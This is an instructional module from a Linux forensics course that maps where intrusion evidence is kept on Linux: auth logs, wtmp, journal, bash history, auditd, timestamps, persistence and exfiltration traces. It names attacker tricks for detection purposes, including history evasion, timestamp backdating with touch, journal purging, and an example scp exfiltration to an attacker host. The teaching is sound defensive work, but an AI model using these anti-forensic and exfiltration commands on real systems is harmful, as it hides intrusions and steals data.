LX0.2 Where Evidence Lives on Linux
The Linux Evidence Map: A Directory-by-Directory Investigation Reference
Evidence organized by investigation question
Investigators do not think in directory paths. They think in questions. “Who logged in?” “What did they run?” “What did they change?” “How did they persist?” “What did they steal?” Each question maps to specific evidence locations on a Linux system. The investigator who knows these mappings navigates the filesystem with purpose rather than searching randomly.
This subsection organizes the entire Linux evidence landscape by investigation question. Every path listed here is a path you will visit repeatedly throughout this course. By the end of the course, this map will be committed to memory through practice. For now, it is a reference you will return to at the start of every investigation.
Question 1: Who authenticated and when?
Authentication evidence on Linux is split across multiple sources, each capturing a different aspect of the authentication event. No single source provides the complete picture — you must correlate across all of them.
/var/log/auth.log (Debian, Ubuntu) or /var/log/secure (RHEL, CentOS, Fedora) is the primary authentication log. Every SSH login attempt (successful and failed), every sudo invocation, every su session change, and every PAM module event is recorded here. The log is plaintext, one event per line, with a timestamp, hostname, service name, PID, and event description.
| |
The difference between a successful login and a failed login from the same source IP, minutes apart, is the brute force pattern you will investigate in LX4. The presence of sudo immediately after an SSH login tells you the attacker escalated to root.
/var/log/wtmp is a binary file that records every login and logout event. It is read with the last command. The wtmp file survives log rotation longer than auth.log on most distributions because it is not managed by the same rotation policy. An attacker who clears auth.log but forgets wtmp leaves a complete record of their login sessions. The counterpart is /var/log/btmp — a binary file recording failed login attempts, read with lastb.
| |
/var/log/journal/ (systemd journal) contains structured log data including authentication events. The journal is a binary format that is harder for attackers to tamper with than plaintext log files — you cannot edit a single entry without corrupting the journal’s internal checksums.
| |
/var/run/utmp records currently logged-in users. Read with who or w. This is volatile — it exists only while the system is running and is cleared on reboot. During a live response, check this immediately.
Question 2: What commands were executed?
Command execution evidence on Linux is sparse compared to Windows — there is no equivalent of Windows Security Event ID 4688 (Process Creation) enabled by default. What you get depends entirely on what was configured before the incident.
.bash_history (or .zsh_history, .fish_history) in the user’s home directory records interactive shell commands. The default configuration records commands when the shell session exits — not in real time. If the attacker kills their shell with kill -9 $$ instead of typing exit, the commands from that session may not be written to history. If the attacker runs unset HISTFILE at the start of their session, no commands are recorded at all.
Despite these limitations, bash history is one of the most valuable Linux artifacts because most attackers forget at least one session — they delete the history from their primary session but forget about the screen or tmux session they left running, or the sudo session that maintained its own history.
| |
/var/log/audit/audit.log (auditd) is the gold standard for command execution tracking on Linux — but only if the audit daemon was configured and running before the incident. When auditd is configured with the execve system call rule, it records every command executed on the system with the exact arguments:
| |
The problem is that auditd is not configured with comprehensive rules by default on most Linux distributions. If the organization did not deploy audit rules before the incident, audit.log either does not exist or contains only minimal default events. This is one of the most important detection engineering recommendations in this course (addressed in LX15): deploy auditd rules proactively so that when the next incident occurs, the evidence is already being collected.
/proc/[pid]/cmdline and /proc/[pid]/exe provide volatile command execution evidence for currently running processes. /proc/[pid]/cmdline records the command line arguments. /proc/[pid]/exe is a symbolic link to the actual binary — even if deleted from disk.
Question 3: What did they change?
File modification evidence on Linux relies heavily on filesystem timestamps, supplemented by package manager logs and configuration management baselines.
Filesystem timestamps on ext4 provide four timestamps per inode: atime (last access), mtime (last modification), ctime (last metadata change), and crtime (creation time). The critical detail: ctime cannot be set by the user. An attacker can use touch to falsify mtime and atime, but ctime updates automatically on any metadata operation and cannot be directly manipulated from userspace. If an attacker creates a file and uses touch -t 202301010000 to backdate it, the mtime shows January 2023 but the ctime shows the actual creation time. Comparing mtime and ctime is a fundamental timestamp manipulation detection technique covered in depth in LX2.
| |
Package manager logs record tool installation. Attackers who run apt install nmap netcat leave a record in /var/log/apt/history.log (Debian) or /var/log/dnf.log (RHEL). Check for installations during the compromise window that were not part of scheduled maintenance.
Question 4: How did they persist?
Persistence evidence on Linux is distributed across several locations that the attacker uses to ensure their access survives reboots and credential changes.
~/.ssh/authorized_keys is the most common Linux persistence mechanism. The attacker adds their public SSH key to this file, granting password-less access. Cron jobs in /var/spool/cron/crontabs/ (Debian) or /var/spool/cron/ (RHEL) and system-wide schedules in /etc/cron.d/, /etc/crontab, /etc/cron.daily/, /etc/cron.hourly/ provide scheduled re-execution. Systemd services in /etc/systemd/system/ and ~/.config/systemd/user/ provide boot-time persistence with automatic restart. /etc/ld.so.preload enables shared library injection — if this file exists and contains a library path, that library is loaded into every process on the system. This is the rootkit deployment mechanism.
| |
Question 5: What did they steal?
Data exfiltration evidence on Linux is primarily found in network connection logs, command history, and file access records.
/var/log/auth.log records scp and sftp file transfers through SSH. Bash history may contain explicit exfiltration commands like tar czf /tmp/dump.tar.gz /var/lib/mysql/ followed by scp /tmp/dump.tar.gz attacker@203.0.113.99:. Auditd (if configured with file access rules) records every file read operation with system call-level precision. Network logs from iptables/nftables, web server access logs, and DNS query logs can reveal exfiltration channels — including DNS tunneling where data is encoded in DNS queries to an attacker-controlled domain.
Worked artifact — Evidence location checklist:
Use this checklist at the start of every Linux investigation. Check each source and record its status before beginning analysis.
Case: INC-2026-XXXX System: [hostname]
Authentication: ☐ auth.log/secure present (size: ___) ☐ wtmp present ☐ btmp present ☐ lastlog present ☐ journal active (retention: ___) ☐ utmp (current users: ___)
Command execution: ☐ bash_history per user (present/missing/empty) ☐ auditd running (rules: ___) ☐ /proc enumeration complete
File modification: ☐ find -mtime -N run ☐ package integrity checked (debsums/rpm -Va) ☐ /etc timestamp review
Persistence: ☐ authorized_keys checked per user ☐ cron checked (user + system) ☐ systemd services checked ☐ ld.so.preload checked
Exfiltration: ☐ auth.log scp/sftp entries ☐ bash history exfil commands ☐ network connections captured ☐ DNS logs checked
Evidence gaps: [List any sources that are missing, empty, or truncated — these gaps are themselves evidence of anti-forensic activity]
Myth: “If auth.log was deleted, we have no authentication evidence.”
Reality: Authentication evidence exists in at least five independent sources on most Linux systems: auth.log (plaintext), wtmp (binary session records), btmp (binary failed attempts), lastlog (last login per user), and the systemd journal (checksummed binary). An attacker who truncates auth.log but does not also clear wtmp, btmp, and the journal leaves complete authentication records. Even attackers who clear all four plaintext/binary sources often miss the journal because it requires journalctl --rotate && journalctl --vacuum-time=1s to purge — a sequence that is not intuitive and is itself logged by auditd if running. The multi-source architecture means the attacker must know about and destroy every evidence tier to fully cover their tracks.
Decision points: when to prioritize which evidence source
Not every investigation starts the same way. The evidence source you check first depends on the initial alert:
Alert: suspicious SSH activity — start with auth.log/secure, then wtmp, then journal. Authentication sources tell the story.
Alert: high CPU / unknown process — start with /proc enumeration and ps auxf, then check cron and systemd for persistence. The running process is the evidence.
Alert: data exfiltration / outbound traffic — start with network connections (ss -tnp), then bash history, then auditd file access records. The network state tells you what is leaving right now.
Alert: modified configuration / web defacement — start with filesystem timestamps (find -mtime -1), then package integrity (debsums -e or rpm -Va), then /etc review. The filesystem tells you what changed.
Troubleshooting: evidence that is not where you expect
auth.log is empty or very small: check if syslog is running (systemctl status rsyslog). On RHEL 9+, rsyslog may not be installed — all logging goes through the journal only. Check journalctl instead.
bash_history shows commands from weeks ago but nothing recent: the attacker may have replaced the file with an old copy. Check the file’s mtime with stat — if the mtime is recent but the content is old, the file was overwritten.
auditd is running but audit.log has no execve events: auditd is running with default rules (authentication only). The organization did not deploy command execution rules. This is the most common situation. Accept the gap and pivot to alternative sources.
Journal returns no results for the compromise window: check journalctl --disk-usage and the retention settings. The journal may have rotated past the compromise date. On systems with limited disk space, journal retention can be as short as a few days.
Try it: On a Linux system, run the complete persistence check from the command block above. Then run stat /etc/passwd and observe all four timestamps. Run last -20 to see recent login sessions. Run journalctl -u sshd -n 20 --no-pager to see SSH events from the journal. Check auditctl -l to see what audit rules are configured. Run test -f /etc/ld.so.preload && echo "WARNING" || echo "Clean" to check for shared library injection. You have just completed the evidence location checklist for a Linux system — the same checklist you will use at the start of every investigation in this course.
Beyond this investigation
This evidence map applies to every module in this course. In LX4 (SSH Brute Force), you will focus on the authentication sources. In LX5 (Web Application Compromise), you will focus on web server logs and filesystem artifacts. In LX7 (Persistence), you will examine every persistence location described here. In LX12 (Memory Forensics), you will recover evidence from memory that the attacker deleted from these filesystem locations. The map does not change — your focus shifts depending on the investigation question.
Check your understanding:
- An attacker runs
unset HISTFILEat the start of their SSH session. What is the effect, and what alternative evidence sources might still record their commands? - You find that
/etc/ld.so.preloadexists and contains/usr/lib/libprocesshider.so. What does this tell you about the state of the system? - A file has mtime of 2024-01-15 but ctime of 2026-03-28. What does this discrepancy indicate?
- Why is
wtmpoften more complete thanauth.logafter an attacker has attempted to cover their tracks?
You're reading the free modules of this course
The full course continues with advanced topics, production detection rules, worked investigation scenarios, and deployable artifacts. Premium subscribers get access to all courses.